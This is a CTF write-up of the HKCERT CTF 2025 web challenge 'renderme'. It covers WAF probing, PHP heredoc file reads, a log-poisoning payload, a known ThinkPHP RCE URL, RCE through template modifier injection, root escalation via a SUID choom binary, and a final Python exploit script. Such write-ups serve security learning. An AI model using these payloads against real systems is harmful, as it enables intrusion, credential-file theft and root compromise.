HKCERT CTF 2025 - [web] renderme

December 29, 2025

Background

The HKCERT CTF 2025 was a CTF hosted by HKCERT. The 48 hour event was held from 19 Dec, 2025 to 20 Dec, 2025.

Team: Capture the Failure
Team Solves: 37/52
Rank: 31st/158 (3rd in Tertiary division)
Individual Solves: 6/52

Thoughts

This CTF was honestly a bit of a mess. The organisation was pretty rough - communication with organisers was bad, too many waves, and the first-blood bonus system was just painful. Also it was very "chinese" this year with lots of Chinese text in challenges (which, fair enough, but still).

I had to leave early for a flight on the 21st which sucked because I was so close to solving BabyUpload (.htaccess stuff) and NetWatcher (java deserialization). But hey, we still got a decent number of solves considering we didn't expect much going in.

Hopefully next year will be better!

Challenge

Category: web
Difficulty: ★★★☆

Inspecting the challenge

I started by poking around with some basic requests:

curl -s "http://web-70aced2fa6.challenge.xctf.org.cn:80/"
# Response: Please tell me your name: /?name=CTFer

curl -s "http://web-70aced2fa6.challenge.xctf.org.cn:80/?name=CTFer"
# Response: Hello, CTFer

So it takes a name parameter and reflects it back. Interesting.

I checked the response headers:

HTTP/1.1 200 OK
Server: TinyFat/0.99.75
X-Powered-By: PHP/8.4.15

Then I tried to trigger an error by passing an array (classic move):

curl -s "http://web-70aced2fa6.challenge.xctf.org.cn:80/?name[]=test"

Nice! Got a ThinkPHP error page:

  • ThinkPHP V8.1.3
  • Apache/2.4.65 (Debian)

Also found an alternative route:

curl -s "http://web-70aced2fa6.challenge.xctf.org.cn:80/?s=think"
# Response: hello,ThinkPHP8!

Figuring out the WAF

I wrote a quick Python script to test what the WAF was blocking:

test_cases = [
    "system", "exec", "eval", "passthru", "shell_exec",
    "flag", "(", ")", "'", '"', "`",
    "{{", "}}", "php://", "file://", ...
]

Here's what I found:

Blocked patterns:

PatternStatus
() (parentheses)BLOCKED
' (single quote)BLOCKED
" (double quote)BLOCKED
` (backtick)BLOCKED
system, exec, evalBLOCKED
flag, FLAGBLOCKED
includeBLOCKED
php://BLOCKED
catBLOCKED

Allowed patterns:

PatternStatus
$, ;, {, }, [, ]ALLOWED
requireALLOWED
file://, data://ALLOWED
{{, }}ALLOWED

The big problem: parentheses are blocked, so no direct function calls!

Template injection?

I tried some template injection patterns:

payloads = [
    "{{7*7}}",      # Jinja2/Twig style
    "{$name}",      # ThinkPHP variable
    "{:print 1}",   # ThinkPHP function call
    "{~echo 1}",    # ThinkPHP raw statement
]

And it worked!

{:print 1} -> outputs "11" (1 printed + return value 1)
{~echo 1}  -> outputs "1"

The template engine is evaluating expressions! But {:phpinfo()} gets blocked because of the parentheses.

PHP short tags

I tried PHP short tags (<?= ?>):

<?=1+1?>   -> Hello, 2
<?=7*7?>   -> Hello, 49
<?=__FILE__?> -> Hello, /var/www/html/runtime/temp/a6a517f7afef21f4ebdb0a56ed5f6cee.php

PHP code execution! But still can't call functions because of the parentheses block.

Reading files with heredoc

Since quotes were blocked, I tried PHP heredoc syntax (which doesn't need quotes):

<?=<<<EOT
test string
EOT?>

This worked! Output: Hello, test

Then I combined heredoc with require (which doesn't need parentheses):

<?=require <<<A
/etc/passwd
A?>

Success! Read /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

To bypass the "flag" filter, I just concatenated strings:

<?=$a=<<<A
/fla
A;$b=<<<B
g
B;require $a.g.$b?>

This constructs "/flag" from "/fla" + "g", bypassing the WAF.

I managed to read a bunch of files:

FileContents
/etc/passwdUser accounts
/etc/hostname96d46f74961d (Docker container)
/proc/mountsDocker overlay filesystem
/var/www/html/README.mdThinkPHP 8 readme
/var/www/html/composer.jsonApplication dependencies

Things that didn't work

I tried a bunch of stuff that went nowhere: 1. Direct flag reading - tried /flag, /flag.txt, /var/www/html/flag, /home/*/flag, /root/flag (permission denied as www-data) - all failed

2. Log poisoning - tried injecting PHP via User-Agent and including Apache logs:

headers = {"User-Agent": "<?php system($_GET['c']); ?>"}
requests.get(URL, headers=headers)
# Then include /var/log/apache2/access.log

Couldn't read log files.

3. PHP wrappers - tried php://filter (blocked), data:// (didn't work with require), expect:// (not available)

4. Session file poisoning - no session cookies were set, couldn't find session files

5. Classic ThinkPHP RCE exploits - all the known vulns were blocked or patched:

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

6. PEAR command injection - looked for pearcmd.php, file not found

The breakthrough: template modifier RCE

I saw on the HKCERT CTF Discord that the hint was to get RCE and escalate to root. Since I hadn't gotten RCE yet (just file read), I kept digging.

While messing with ThinkPHP template syntax, I tested modifiers:

# Testing if $_GET can be accessed in templates
payload = "{$_GET.cmd}"
# Response included the value of ?cmd=test

I could access GET parameters from within the template!

ThinkPHP modifiers work like this:

{$variable|modifier}

This compiles to <?php echo modifier($variable); ?>

So I tried passing the modifier name via GET parameter:

Payload: {$_GET.c|$_GET.f}
URL: /?name={$_GET.c|$_GET.f}&c=id&f=system

Response:

Hello, uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE achieved!

Why this worked:

  1. The WAF only checks the name parameter for dangerous patterns
  2. {$_GET.c|$_GET.f} contains no blocked characters
  3. The actual function name (system) is passed via the f parameter
  4. The command (id) is passed via the c parameter
  5. ThinkPHP compiles this to <?php echo system('id'); ?>

The WAF only checked the template syntax, not the parameter values!

Privilege escalation

Now with RCE as www-data, I started enumerating:

def execute(cmd):
    r = requests.get(URL, params={
        "name": "{$_GET.c|$_GET.f}",
        "c": cmd,
        "f": "system"
    })
    return r.text

I looked for SUID binaries:

find / -perm -4000 2>/dev/null

Found something interesting:

/usr/bin/chfn
/usr/bin/choom    <-- This looks interesting!
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount

I checked out choom:

/usr/bin/choom --help
Usage:
 choom [options] -n number -p pid
 choom [options] -n number [--] command [args...]

Display and adjust OOM-killer score.

choom can execute arbitrary commands with the -- syntax! Let me test it:

/usr/bin/choom -n 0 -- id

Response:

uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

EUID is root! The SUID bit on choom lets us execute commands with root privileges!

Getting the flag

/usr/bin/choom -n 0 -- ls -la /root
total 12
drwx------ 1 root root  18 Dec  9 09:41 .
drwxr-xr-x 1 root root  62 Dec 20 08:18 ..
-rw-r--r-- 1 root root 607 Nov  7 17:40 .bashrc
drwxr-xr-x 1 root root  19 Dec  9 08:39 .composer
-rw-r--r-- 1 root root 132 Nov  7 17:40 .profile
-rwxr-xr-x 1 root root  39 Dec 20 08:18 flag

Then just read the flag:

/usr/bin/choom -n 0 -- cat /root/flag

flag{aZeNQqYwT0tASMJppnqYxQOSOlMVXgNT}

Final exploit

One-liner URL:

http://web-70aced2fa6.challenge.xctf.org.cn:80/?name={$_GET.c|$_GET.f}&c=/usr/bin/choom -n 0 -- cat /root/flag&f=system

Python script:

import requests

URL = "http://web-70aced2fa6.challenge.xctf.org.cn:80/"

def execute_as_root(cmd):
    """Execute command as root via choom SUID"""
    payload = "{$_GET.c|$_GET.f}"
    r = requests.get(URL, params={
        "name": payload,
        "c": f"/usr/bin/choom -n 0 -- {cmd}",
        "f": "system"
    })
    return r.text.replace("Hello, ", "").strip()

# Get the flag
print(execute_as_root("cat /root/flag"))
# Output: flag{aZeNQqYwT0tASMJppnqYxQOSOlMVXgNT}